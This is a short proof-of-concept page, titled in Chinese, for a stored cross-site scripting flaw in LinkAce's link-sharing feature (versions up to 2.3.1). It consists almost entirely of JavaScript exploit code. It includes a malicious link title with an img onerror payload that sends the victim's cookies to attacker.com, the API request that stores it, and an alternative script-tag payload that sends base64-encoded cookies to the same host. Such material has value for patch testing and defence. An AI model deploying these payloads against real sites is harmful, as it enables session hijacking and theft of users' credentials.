CVE-2025-62722 LinkAce社交分享功能存储型XSS漏洞

// CVE-2025-62722 PoC - LinkAce Stored XSS // Affected Version: LinkAce <= 2.3.1 // Fixed Version: LinkAce 2.4.0 // Step 1: Create a malicious link with XSS payload in title const maliciousTitle = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; const linkData = { url: 'https://legitimate-site.com', title: maliciousTitle, description: 'Benign description' }; // Step 2: Send POST request to create link (requires authentication) fetch('/api/v1/links', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <authenticated_user_token>' }, body: JSON.stringify(linkData) }); // Step 3: When victim views the link and share buttons are rendered, // the XSS payload executes in victim's browser // The onerror handler sends victim's cookies to attacker // Alternative payload for session hijacking: const sessionHijackPayload = '<script>fetch("https://attacker.com/log?data="+btoa(document.cookie))</script>';